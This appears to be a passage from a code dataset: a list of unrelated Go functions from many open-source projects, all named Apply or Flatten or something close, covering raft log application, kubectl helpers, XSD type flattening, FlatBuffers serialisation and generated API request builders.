{\n\t\tcase *Metadata_Primitive:\n\t\t\tif err := cb(id); err != nil {\n\t\t\t\tif errors.Is(err, errutil.ErrBreak) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase *Metadata_Composite:\n\t\t\tids, err := x.Composite.PointsTo()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := s.Flatten(ctx, ids, cb); err != nil {\n\t\t\t\tif errors.Is(err, errutil.ErrBreak) {\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t\treturn err\n\t\t\t}\n\t\tdefault:\n\t\t\t// TODO: should it be?\n\t\t\treturn errors.Errorf(\"Flatten is not defined for empty filesets\")\n\t\t}\n\t}\n\treturn nil\n}","func (cfg *Config) flatten1(t xsd.Type, push func(xsd.Type)) xsd.Type {\n\tswitch t := t.(type) {\n\tcase *xsd.SimpleType:\n\t\tvar (\n\t\t\tchain []xsd.Type\n\t\t\tbase, builtin xsd.Type\n\t\t\tok bool\n\t\t)\n\t\t// TODO: handle list/union types\n\t\tfor base = xsd.Base(t); base != nil; base = xsd.Base(base) {\n\t\t\tif builtin, ok = base.(xsd.Builtin); ok {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tchain = append(chain, base)\n\t\t}\n\t\tfor _, v := range chain {\n\t\t\tif v, ok := v.(*xsd.SimpleType); ok {\n\t\t\t\tv.Base = builtin\n\t\t\t\tpush(v)\n\t\t\t}\n\t\t}\n\t\tt.Base = builtin\n\t\treturn t\n\tcase *xsd.ComplexType:\n\t\t// We can \"unpack\" a struct if it is extending a simple\n\t\t// or built-in type and we are ignoring all of its attributes.\n\t\tswitch t.Base.(type) {\n\t\tcase xsd.Builtin, *xsd.SimpleType:\n\t\t\tif b, ok := t.Base.(xsd.Builtin); ok && b == xsd.AnyType {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\tattributes, _ := cfg.filterFields(t)\n\t\t\tif len(attributes) == 0 {\n\t\t\t\tcfg.debugf(\"complexType %s extends simpleType %s, but all attributes are filtered. unpacking.\",\n\t\t\t\t\tt.Name.Local, xsd.XMLName(t.Base))\n\t\t\t\tswitch b := t.Base.(type) {\n\t\t\t\tcase xsd.Builtin:\n\t\t\t\t\treturn b\n\t\t\t\tcase *xsd.SimpleType:\n\t\t\t\t\treturn cfg.flatten1(t.Base, push)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// We can flatten a struct field if its type does not\n\t\t// need additional methods for unmarshalling.\n\t\tfor i, el := range t.Elements {\n\t\t\tel.Type = cfg.flatten1(el.Type, push)\n\t\t\tif b, ok := el.Type.(*xsd.SimpleType); ok {\n\t\t\t\tif !b.List && len(b.Union) == 0 {\n\t\t\t\t\tel.Type = xsd.Base(el.Type)\n\t\t\t\t}\n\t\t\t}\n\t\t\tt.Elements[i] = el\n\t\t}\n\t\tfor i, attr := range t.Attributes {\n\t\t\tattr.Type = cfg.flatten1(attr.Type, push)\n\t\t\tif b, ok := attr.Type.(*xsd.SimpleType); ok {\n\t\t\t\tif !b.List && len(b.Union) == 0 {\n\t\t\t\t\tattr.Type = xsd.Base(attr.Type)\n\t\t\t\t}\n\t\t\t}\n\t\t\tt.Attributes[i] = attr\n\t\t}\n\t\treturn t\n\tcase xsd.Builtin:\n\t\t// There are a few built-ins that do not map directly to Go types.\n\t\t// for these, we will declare them in the Go source.\n\t\tswitch t {\n\t\tcase xsd.ENTITIES, xsd.IDREFS, xsd.NMTOKENS:\n\t\t\tpush(t)\n\t\tcase xsd.Base64Binary, xsd.HexBinary:\n\t\t\tpush(t)\n\t\tcase xsd.Date, xsd.Time, xsd.DateTime:\n\t\t\tpush(t)\n\t\tcase xsd.GDay, xsd.GMonth, xsd.GMonthDay, xsd.GYear, xsd.GYearMonth:\n\t\t\tpush(t)\n\t\t}\n\t\treturn t\n\t}\n\tpanic(fmt.Sprintf(\"unexpected %T\", t))\n}","func (u updateCachedUploadRevision) apply(data *journalPersist) {\n\tc := data.CachedRevisions[u.Revision.ParentID.String()]\n\tc.Revision = u.Revision\n\tif u.SectorIndex == len(c.MerkleRoots) {\n\t\tc.MerkleRoots = append(c.MerkleRoots, u.SectorRoot)\n\t} else if u.SectorIndex < len(c.MerkleRoots) {\n\t\tc.MerkleRoots[u.SectorIndex] = u.SectorRoot\n\t} else {\n\t\t// Shouldn't happen. TODO: Add correct error handling.\n\t}\n\tdata.CachedRevisions[u.Revision.ParentID.String()] = c\n}","func (u *updater) Apply(ch *client.Change) error {\n\tfmt.Printf(\"Incoming change: %v\\n\", ch.TypeURL)\n\n\tfor i, o := range ch.Objects {\n\t\tfmt.Printf(\"%s[%d]\\n\", ch.TypeURL, i)\n\n\t\tb, err := json.MarshalIndent(o, \" \", \" \")\n\t\tif err != nil {\n\t\t\tfmt.Printf(\" Marshalling error: %v\", err)\n\t\t} else {\n\t\t\tfmt.Printf(\"%s\\n\", string(b))\n\t\t}\n\n\t\tfmt.Printf(\"===============\\n\")\n\t}\n\treturn nil\n}","func (r ApiGetBulkResultListRequest) Apply(apply string) ApiGetBulkResultListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (this *ObjectInnerPairs) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := removeMissing(arg)\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = map[string]interface{}{\"name\": k, \"value\": oa[k]}\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (testStringIdEntity_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(1)\n\tfbutils.SetUint64Slot(fbb, 0, id)\n\treturn nil\n}","func flattenStoredInfoTypeDictionary(c *Client, i interface{}, res *StoredInfoType) *StoredInfoTypeDictionary {\n\tm, ok := i.(map[string]interface{})\n\tif !ok {\n\t\treturn nil\n\t}\n\n\tr := &StoredInfoTypeDictionary{}\n\n\tif dcl.IsEmptyValueIndirect(i) {\n\t\treturn EmptyStoredInfoTypeDictionary\n\t}\n\tr.WordList = flattenStoredInfoTypeDictionaryWordList(c, m[\"wordList\"], res)\n\tr.CloudStoragePath = flattenStoredInfoTypeDictionaryCloudStoragePath(c, m[\"cloudStoragePath\"], res)\n\n\treturn r\n}","func Unflatten(m map[string]interface{}, tf TokenizerFunc) map[string]interface{} {\n\ttree := make(map[string]interface{})\n\n\tc := make(chan map[string]interface{})\n\n\tgo mapify(m, c, tf)\n\n\tfor n := range c {\n\t\tmergo.Merge(&tree, n)\n\t}\n\n\treturn tree\n}","func (dump *Dump) EctractAndApplyUpdateEntryType(record *Content, pack *PackedContent) {\n\tdump.RemoveFromEntryTypeIndex(pack.EntryTypeString, pack.ID)\n\n\tpack.EntryType = record.EntryType\n\tpack.EntryTypeString = entryTypeKey(record.EntryType, record.Decision.Org)\n\n\tdump.InsertToEntryTypeIndex(pack.EntryTypeString, pack.ID)\n}","func (h *provider) Apply(ctx wfContext.Context, v *value.Value, act types.Action) error {\n\tvar workload = new(unstructured.Unstructured)\n\tif err := v.UnmarshalTo(workload); err != nil {\n\t\treturn err\n\t}\n\n\tdeployCtx := context.Background()\n\tif workload.GetNamespace() == \"\" {\n\t\tworkload.SetNamespace(\"default\")\n\t}\n\tif err := h.deploy.Apply(deployCtx, workload); err != nil {\n\t\treturn err\n\t}\n\treturn v.FillObject(workload.Object)\n}","func (o *Operation) Apply(v interface{}) (interface{}, error) {\n\tf, ok := opApplyMap[o.Op]\n\tif !ok {\n\t\treturn v, fmt.Errorf(\"unknown operation: %s\", o.Op)\n\t}\n\n\tresult, err := f(o, v)\n\tif err != nil {\n\t\treturn result, fmt.Errorf(\"error applying operation %s: %s\", o.Op, err)\n\t}\n\n\treturn result, nil\n}","func (s *Server) raftApply(t structs.MessageType, msg interface{}) (interface{}, error) {\n\tbuf, err := structs.Encode(t, msg)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"Failed to encode request: %v\", err)\n\t}\n\n\t// Warn if the command is very large\n\tif n := len(buf); n > raftWarnSize {\n\t\ts.logger.Printf(\"[WARN] consul: Attempting to apply large raft entry (%d bytes)\", n)\n\t}\n\n\tfuture := s.raft.Apply(buf, enqueueLimit)\n\tif err := future.Error(); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn future.Response(), nil\n}","func (r ApiGetHyperflexAppCatalogListRequest) Apply(apply string) ApiGetHyperflexAppCatalogListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (l *Layer) Apply(in autofunc.Result) autofunc.Result {\n\tif l.DoneTraining {\n\t\tif len(in.Output())%l.InputCount != 0 {\n\t\t\tpanic(\"invalid input size\")\n\t\t}\n\t\tn := len(in.Output()) / l.InputCount\n\n\t\tmeanVar := &autofunc.Variable{Vector: l.FinalMean}\n\t\tvarVar := &autofunc.Variable{Vector: l.FinalVariance}\n\t\tnegMean := autofunc.Repeat(autofunc.Scale(meanVar, -1), n)\n\t\tinvStd := autofunc.Repeat(autofunc.Pow(autofunc.AddScaler(varVar,\n\t\t\tl.stabilizer()), -0.5), n)\n\t\tscales := autofunc.Repeat(l.Scales, n)\n\t\tbiases := autofunc.Repeat(l.Biases, n)\n\n\t\tnormalized := autofunc.Mul(autofunc.Add(in, negMean), invStd)\n\t\treturn autofunc.Add(autofunc.Mul(normalized, scales), biases)\n\t}\n\treturn l.Batch(in, 1)\n}","func (r ApiGetBulkSubRequestObjListRequest) Apply(apply string) ApiGetBulkSubRequestObjListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r ApiGetHyperflexVmSnapshotInfoListRequest) Apply(apply string) ApiGetHyperflexVmSnapshotInfoListRequest {\n\tr.apply = &apply\n\treturn r\n}","func Apply(root Node, apply func(n Node) (Node, bool)) (Node, bool) {\n\tif root == nil {\n\t\treturn nil, false\n\t}\n\tvar changed bool\n\tswitch n := root.(type) {\n\tcase Object:\n\t\tvar nn Object\n\t\tif applySort {\n\t\t\tfor _, k := range n.Keys() {\n\t\t\t\tv := n[k]\n\t\t\t\tif nv, ok := Apply(v, apply); ok {\n\t\t\t\t\tif nn == nil {\n\t\t\t\t\t\tnn = n.CloneObject()\n\t\t\t\t\t}\n\t\t\t\t\tnn[k] = nv\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tfor k, v := range n {\n\t\t\t\tif nv, ok := Apply(v, apply); ok {\n\t\t\t\t\tif nn == nil {\n\t\t\t\t\t\tnn = n.CloneObject()\n\t\t\t\t\t}\n\t\t\t\t\tnn[k] = nv\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif nn != nil {\n\t\t\tchanged = true\n\t\t\troot = nn\n\t\t}\n\tcase Array:\n\t\tvar nn Array\n\t\tfor i, v := range n {\n\t\t\tif nv, ok := Apply(v, apply); ok {\n\t\t\t\tif nn == nil {\n\t\t\t\t\tnn = n.CloneList()\n\t\t\t\t}\n\t\t\t\tnn[i] = nv\n\t\t\t}\n\t\t}\n\t\tif nn != nil {\n\t\t\tchanged = true\n\t\t\troot = nn\n\t\t}\n\t}\n\tnn, changed2 := apply(root)\n\treturn nn, changed || changed2\n}","func (r *ResUnstructured) Apply() error {\n\t_, err := r.getUnstructured()\n\texists, err := Exists(err)\n\tif exists || err != nil {\n\t\treturn err\n\t}\n\n\t// if not exists and no error, then create\n\tr.Log.Info(\"Created a new resource\")\n\treturn r.Client.Create(context.TODO(), r.Object)\n}","func (op *OpAdd) Apply(e *entry.Entry) error {\n\tswitch {\n\tcase op.Value != nil:\n\t\terr := e.Set(op.Field, op.Value)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase op.program != nil:\n\t\tenv := helper.GetExprEnv(e)\n\t\tdefer helper.PutExprEnv(env)\n\n\t\tresult, err := vm.Run(op.program, env)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"evaluate value_expr: %s\", err)\n\t\t}\n\t\terr = e.Set(op.Field, result)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tdefault:\n\t\t// Should never reach here if we went through the unmarshalling code\n\t\treturn fmt.Errorf(\"neither value or value_expr are are set\")\n\t}\n\n\treturn nil\n}","func (r ApiGetHyperflexConfigResultListRequest) Apply(apply string) ApiGetHyperflexConfigResultListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (r ApiGetBulkMoDeepClonerListRequest) Apply(apply string) ApiGetBulkMoDeepClonerListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (c *JoinCommand) Apply(context raft.Context) (interface{}, error) {\n\tindex, err := applyJoin(c, context)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tb := make([]byte, 8)\n\tbinary.PutUvarint(b, index)\n\treturn b, nil\n}","func (b *BaseImpl) Flatten() {\n\n\tnbytes := make([]byte, b.LenBuf())\n\n\tcopy(nbytes, b.bytes)\n\tfor i := range b.Diffs {\n\t\tcopy(nbytes[b.Diffs[i].Offset:], b.Diffs[i].bytes)\n\t}\n\tb.bytes = nbytes\n\tb.Diffs = []Diff{}\n\n}","func (r ApiGetHyperflexTargetListRequest) Apply(apply string) ApiGetHyperflexTargetListRequest {\n\tr.apply = &apply\n\treturn r\n}","func flatten(entry logEntry) (string, error) {\n\tvar msgValue string\n\tvar errorValue error\n\tif len(entry.Values)%2 == 1 {\n\t\treturn \"\", errors.New(\"log entry cannot have odd number off keyAndValues\")\n\t}\n\n\tkeys := make([]string, 0, len(entry.Values)/2)\n\tvalues := make(map[string]interface{}, len(entry.Values)/2)\n\tfor i := 0; i < len(entry.Values); i += 2 {\n\t\tk, ok := entry.Values[i].(string)\n\t\tif !ok {\n\t\t\tpanic(fmt.Sprintf(\"key is not a string: %s\", entry.Values[i]))\n\t\t}\n\t\tvar v interface{}\n\t\tif i+1 < len(entry.Values) {\n\t\t\tv = entry.Values[i+1]\n\t\t}\n\t\tswitch k {\n\t\tcase \"msg\":\n\t\t\tmsgValue, ok = v.(string)\n\t\t\tif !ok {\n\t\t\t\tpanic(fmt.Sprintf(\"the msg value is not of type string: %s\", v))\n\t\t\t}\n\t\tcase \"error\":\n\t\t\terrorValue, ok = v.(error)\n\t\t\tif !ok {\n\t\t\t\tpanic(fmt.Sprintf(\"the error value is not of type error: %s\", v))\n\t\t\t}\n\t\tdefault:\n\t\t\tif _, ok := values[k]; !ok {\n\t\t\t\tkeys = append(keys, k)\n\t\t\t}\n\t\t\tvalues[k] = v\n\t\t}\n\t}\n\tstr := \"\"\n\tif entry.Prefix != \"\" {\n\t\tstr += fmt.Sprintf(\"[%s] \", entry.Prefix)\n\t}\n\tstr += msgValue\n\tif errorValue != nil {\n\t\tif msgValue != \"\" {\n\t\t\tstr += \": \"\n\t\t}\n\t\tstr += errorValue.Error()\n\t}\n\tfor _, k := range keys {\n\t\tprettyValue, err := pretty(values[k])\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\tstr += fmt.Sprintf(\" %s=%s\", k, prettyValue)\n\t}\n\treturn str, nil\n}","func (r ApiGetHyperflexClusterListRequest) Apply(apply string) ApiGetHyperflexClusterListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (a ApplyTo) Flatten() []schema.GroupVersionKind {\n\tvar result []schema.GroupVersionKind\n\tfor _, group := range a.Groups {\n\t\tfor _, version := range a.Versions {\n\t\t\tfor _, kind := range a.Kinds {\n\t\t\t\tgvk := schema.GroupVersionKind{\n\t\t\t\t\tGroup: group,\n\t\t\t\t\tVersion: version,\n\t\t\t\t\tKind: kind,\n\t\t\t\t}\n\t\t\t\tresult = append(result, gvk)\n\t\t\t}\n\t\t}\n\t}\n\treturn result\n}","func (event_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\tobj := object.(*Event)\n\tvar offsetDevice = fbutils.CreateStringOffset(fbb, obj.Device)\n\tvar offsetUid = fbutils.CreateStringOffset(fbb, obj.Uid)\n\tvar offsetPicture = fbutils.CreateByteVectorOffset(fbb, obj.Picture)\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(5)\n\tfbutils.SetUint64Slot(fbb, 0, id)\n\tfbutils.SetUOffsetTSlot(fbb, 3, offsetUid)\n\tfbutils.SetUOffsetTSlot(fbb, 1, offsetDevice)\n\tfbutils.SetInt64Slot(fbb, 2, obj.Date)\n\tfbutils.SetUOffsetTSlot(fbb, 4, offsetPicture)\n\treturn nil\n}","func Flatten(it Item) Item {\n\tif it.IsCollection() {\n\t\tif c, ok := it.(CollectionInterface); ok {\n\t\t\tit = FlattenItemCollection(c.Collection())\n\t\t}\n\t}\n\tif it != nil && len(it.GetLink()) > 0 {\n\t\treturn it.GetLink()\n\t}\n\treturn it\n}","func (r *raftState) apply(b []byte) error {\n\t// Apply to raft log.\n\tf := r.raft.Apply(b, 0)\n\tif err := f.Error(); err != nil {\n\t\treturn err\n\t}\n\n\t// Return response if it's an error.\n\t// No other non-nil objects should be returned.\n\tresp := f.Response()\n\tif err, ok := resp.(error); ok {\n\t\treturn err\n\t}\n\tif resp != nil {\n\t\tpanic(fmt.Sprintf(\"unexpected response: %#v\", resp))\n\t}\n\n\treturn nil\n}","func (r ApiGetHyperflexNodeListRequest) Apply(apply string) ApiGetHyperflexNodeListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (testEntityInline_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\tobj := object.(*TestEntityInline)\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(3)\n\tfbutils.SetInt64Slot(fbb, 0, obj.BaseWithDate.Date)\n\tfbutils.SetFloat64Slot(fbb, 1, obj.BaseWithValue.Value)\n\tfbutils.SetUint64Slot(fbb, 2, id)\n\treturn nil\n}","func (testEntityRelated_EntityInfo) Flatten(object interface{}, fbb *flatbuffers.Builder, id uint64) error {\n\tobj := object.(*TestEntityRelated)\n\tvar offsetName = fbutils.CreateStringOffset(fbb, obj.Name)\n\n\tvar rIdNext uint64\n\tif rel := obj.Next; rel != nil {\n\t\tif rId, err := EntityByValueBinding.GetId(rel); err != nil {\n\t\t\treturn err\n\t\t} else {\n\t\t\trIdNext = rId\n\t\t}\n\t}\n\n\t// build the FlatBuffers object\n\tfbb.StartObject(3)\n\tfbutils.SetUint64Slot(fbb, 0, id)\n\tfbutils.SetUOffsetTSlot(fbb, 1, offsetName)\n\tfbutils.SetUint64Slot(fbb, 2, rIdNext)\n\treturn nil\n}","func flatten(centerPosition, texelPosition mgl32.Vec2, texel *terraindto.TerrainTexel, centerHeight, amount, regionSize float32) {\n\theightDifference := texel.Height - centerHeight\n\ttexel.Height = texel.Height - heightDifference*amount\n\ttexel.Normalize()\n}","func (a Args) ApplyTo(i interface{}) (err error) {\n\tif len(a) > 0 {\n\t\tvar b []byte\n\t\tb, err = json.Marshal(a)\n\t\tif err == nil {\n\t\t\terr = json.Unmarshal(b, i)\n\t\t}\n\t}\n\n\treturn\n}","func (r ApiGetHyperflexDatastoreStatisticListRequest) Apply(apply string) ApiGetHyperflexDatastoreStatisticListRequest {\n\tr.apply = &apply\n\treturn r\n}","func Flatten(nested map[string]interface{}) (flatmap map[string]interface{}, err error) {\n\treturn flatten(\"\", nested)\n}","func (r ApiGetBulkExportListRequest) Apply(apply string) ApiGetBulkExportListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (k *kubectlContext) Apply(args ...string) error {\n\tout, err := k.do(append([]string{\"apply\"}, args...)...)\n\tk.t.Log(string(out))\n\treturn err\n}","func (f *Flattener) Flattened(input interface{}) (bson.D, error) {\n\tvar flattened bson.D\n\terr := f.Flatten(input, &flattened)\n\treturn flattened, err\n}","func (op *OpRemove) Apply(e *entry.Entry) error {\n\te.Delete(op.Field)\n\treturn nil\n}","func (r *localRaft) apply(b []byte) error {\n\t// Apply to raft log.\n\tf := r.raft.Apply(b, 0)\n\tif err := f.Error(); err != nil {\n\t\treturn err\n\t}\n\n\t// Return response if it's an error.\n\t// No other non-nil objects should be returned.\n\tresp := f.Response()\n\tif err, ok := resp.(error); ok {\n\t\treturn lookupError(err)\n\t}\n\tassert(resp == nil, \"unexpected response: %#v\", resp)\n\n\treturn nil\n}","func flattenTocEntries(toc []*tocEntry) []*tocEntry {\n\tvar res []*tocEntry\n\tfor _, entry := range toc {\n\t\tif len(entry.Section) != 0 {\n\t\t\tres = append(res, flattenTocEntries(entry.Section)...)\n\t\t} else {\n\t\t\tres = append(res, entry)\n\t\t}\n\t}\n\treturn res\n}","func Apply(data []byte, namespace string, args ...string) (err error) {\n\tapply := []string{\"apply\", \"-n\", namespace, \"-f\", \"-\"}\n\t_, err = pipeToKubectl(data, append(apply, args...)...)\n\treturn\n}","func flattenStoredInfoTypeDictionaryWordList(c *Client, i interface{}, res *StoredInfoType) *StoredInfoTypeDictionaryWordList {\n\tm, ok := i.(map[string]interface{})\n\tif !ok {\n\t\treturn nil\n\t}\n\n\tr := &StoredInfoTypeDictionaryWordList{}\n\n\tif dcl.IsEmptyValueIndirect(i) {\n\t\treturn EmptyStoredInfoTypeDictionaryWordList\n\t}\n\tr.Words = dcl.FlattenStringSlice(m[\"words\"])\n\n\treturn r\n}","func Apply(argv0 string, args ...string) error {\n\tfs := flag.NewFlagSet(argv0, flag.ContinueOnError)\n\tfs.Usage = func() {\n\t\tfmt.Fprintf(os.Stderr, \"Usage: %s\\n\", argv0)\n\t\tfmt.Fprintf(os.Stderr, \"Apply all patches with enough signatures to code tree.\\n\")\n\t\tfs.PrintDefaults()\n\t}\n\tfilename := fs.String(\"f\", \"\", \"Distribution file\")\n\theadStr := fs.String(\"head\", \"\", \"Check that the hash chain contains the given head\")\n\tverbose := fs.Bool(\"v\", false, \"Be verbose\")\n\tif err := fs.Parse(args); err != nil {\n\t\treturn err\n\t}\n\tif *verbose {\n\t\tlog.Std = log.NewStd(os.Stdout)\n\t}\n\tif fs.NArg() != 0 {\n\t\tfs.Usage()\n\t\treturn flag.ErrHelp\n\t}\n\tvar head *[32]byte\n\tif *headStr != \"\" {\n\t\th, err := hex.Decode(*headStr, 32)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tvar ha [32]byte\n\t\tcopy(ha[:], h)\n\t\thead = &ha\n\t}\n\tif *filename != \"\" {\n\t\tif err := applyDist(*filename, head); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tc, err := hashchain.ReadFile(def.HashchainFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif err := c.Close(); err != nil {\n\t\treturn err\n\t}\n\treturn apply(c, head)\n}","func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func (this *ObjectValues) Apply(context Context, arg value.Value) (value.Value, error) {\n\tif arg.Type() == value.MISSING {\n\t\treturn value.MISSING_VALUE, nil\n\t} else if arg.Type() != value.OBJECT {\n\t\treturn value.NULL_VALUE, nil\n\t}\n\n\toa := arg.Actual().(map[string]interface{})\n\tkeys := make(sort.StringSlice, 0, len(oa))\n\tfor key, _ := range oa {\n\t\tkeys = append(keys, key)\n\t}\n\n\tsort.Sort(keys)\n\tra := make([]interface{}, len(keys))\n\tfor i, k := range keys {\n\t\tra[i] = oa[k]\n\t}\n\n\treturn value.NewValue(ra), nil\n}","func Flatten[T any](collection [][]T) []T {\n\tresult := []T{}\n\n\tfor _, item := range collection {\n\t\tresult = append(result, item...)\n\t}\n\n\treturn result\n}","func (m *matcher) apply(f func(c compilable)) {\n\tif m.root == nil {\n\t\treturn\n\t}\n\tm.root.apply(f)\n}","func (r ApiGetHyperflexServerModelListRequest) Apply(apply string) ApiGetHyperflexServerModelListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (c *Context) Apply() (*State, error) {\n\tdefer c.acquireRun(\"apply\")()\n\n\t// Copy our own state\n\tc.state = c.state.DeepCopy()\n\n\t// Build the graph.\n\tgraph, err := c.Graph(GraphTypeApply, nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// Determine the operation\n\toperation := walkApply\n\tif c.destroy {\n\t\toperation = walkDestroy\n\t}\n\n\t// Walk the graph\n\twalker, err := c.walk(graph, operation)\n\tif len(walker.ValidationErrors) > 0 {\n\t\terr = multierror.Append(err, walker.ValidationErrors...)\n\t}\n\n\t// Clean out any unused things\n\tc.state.prune()\n\n\treturn c.state, err\n}","func (s *Synk) Apply(\n\tctx context.Context,\n\tname string,\n\topts *ApplyOptions,\n\tresources ...*unstructured.Unstructured,\n) (*apps.ResourceSet, error) {\n\tif opts == nil {\n\t\topts = &ApplyOptions{}\n\t}\n\topts.name = name\n\n\t// applyAll() updates the resources in place. To avoid modifying the\n\t// caller's slice, copy the resources first.\n\tresources = append([]*unstructured.Unstructured(nil), resources...)\n\tfor i, r := range resources {\n\t\tresources[i] = r.DeepCopy()\n\t}\n\n\trs, resources, err := s.initialize(ctx, opts, resources...)\n\tif err != nil {\n\t\treturn rs, err\n\t}\n\tresults, applyErr := s.applyAll(ctx, rs, opts, resources...)\n\n\tif err := s.updateResourceSetStatus(ctx, rs, results); err != nil {\n\t\treturn rs, err\n\t}\n\tif applyErr == nil {\n\t\tif err := s.deleteResourceSets(ctx, opts.name, opts.version); err != nil {\n\t\t\treturn rs, err\n\t\t}\n\t}\n\treturn rs, applyErr\n}","func (e EdgeMetadatas) Flatten() EdgeMetadata {\n\tresult := EdgeMetadata{}\n\tfor _, v := range e {\n\t\tresult = result.Flatten(v)\n\t}\n\treturn result\n}","func (r ApiGetBulkRequestListRequest) Apply(apply string) ApiGetBulkRequestListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (s Sequence) apply(v reflect.Value) {\n\tv = indirect(v)\n\tswitch v.Kind() {\n\tcase reflect.Slice:\n\t\tif v.Cap() >= len(s.elements) {\n\t\t\tv.SetLen(len(s.elements))\n\t\t} else {\n\t\t\tv.Set(reflect.MakeSlice(v.Type(), len(s.elements), len(s.elements)))\n\t\t}\n\tcase reflect.Array:\n\t\tif v.Len() != len(s.elements) {\n\t\t\ts.error(InvalidArrayLengthError{Len: v.Len(), Expected: len(s.elements)})\n\t\t}\n\tdefault:\n\t\tif !reflect.TypeOf(s).AssignableTo(v.Type()) {\n\t\t\ts.error(InvalidSliceError{Type: v.Type()})\n\t\t}\n\t\tv.Set(reflect.ValueOf(s))\n\t\treturn\n\t}\n\n\tfor i, n := range s.elements {\n\t\te := reflect.New(v.Type().Elem()).Elem()\n\t\tapply(n, e)\n\t\tv.Index(i).Set(e)\n\t}\n}","func (r ApiGetHyperflexHxdpVersionListRequest) Apply(apply string) ApiGetHyperflexHxdpVersionListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (node *Node) flatten(arr *[]*Node) {\n\tif node == nil {\n\t\treturn\n\t}\n\n\tnode.Left.flatten(arr)\n\n\t*arr = append(*arr, node)\n\n\tnode.Right.flatten(arr)\n}","func (l List) Apply(h *HTML) {\n\tfor _, m := range l {\n\t\tapply(m, h)\n\t}\n}","func (r ApiGetHyperflexHealthCheckPackageChecksumListRequest) Apply(apply string) ApiGetHyperflexHealthCheckPackageChecksumListRequest {\n\tr.apply = &apply\n\treturn r\n}","func (fs *FilterSet) Apply(fields map[interface{}]string) []map[interface{}]string {\n\tlastset := []map[interface{}]string{fields}\n\tfor _, fltr := range fs.filters {\n\t\tnewset := []map[interface{}]string{}\n\t\tfor _, mf := range lastset {\n\t\t\tfor _, nf := range fltr.Apply(mf) {\n\t\t\t\tif len(nf) > 0 {\n\t\t\t\t\tnewset = append(newset, nf)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// short-circuit nulls\n\t\tif len(newset) == 0 {\n\t\t\treturn nil\n\t\t}\n\t\tlastset = newset\n\t}\n\treturn lastset\n}","func (gm *gmap) applyAll(gmp *gmapProgress, apply *apply) {\n\t// Apply snapshot\n\tgm.applySnapshot(gmp, apply)\n\t// Apply entries.\n\tgm.applyEntries(gmp, apply)\n\t// Wait for the raft routine to finish the disk writes before triggering a snapshot.\n\t// or applied index might be greater than the last index in raft storage.\n\t// since the raft routine might be slower than apply routine.\n\t<-apply.notifyc\n\t// Create snapshot if necessary\n\tgm.triggerSnapshot(gmp)\n}","func Apply(file []*Tag, table map[string]map[string]*Tag) {\n\tobj := \"\"\n\taux := \"\"\n\t\n\tisPlant := false\n\t\n\tfor _, tag := range file {\n\t\tif _, ok := objTypes[tag.ID]; ok {\n\t\t\tif len(tag.Params) != 1 {\n\t\t\t\t// Bad param count, definitely an error.\n\t\t\t\tobj = \"\"\n\t\t\t\taux = \"\"\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tisPlant = tag.ID == \"PLANT\"\n\t\t\t\n\t\t\tobj = tag.Params[0]\n\t\t\taux = \"\"\n\t\t\tcontinue\n\t\t}\n\t\t\n\t\tif isPlant {\n\t\t\tif tag.ID == \"GROWTH\" {\n\t\t\t\tif len(tag.Params) != 1 {\n\t\t\t\t\t// Bad param count, definitely an 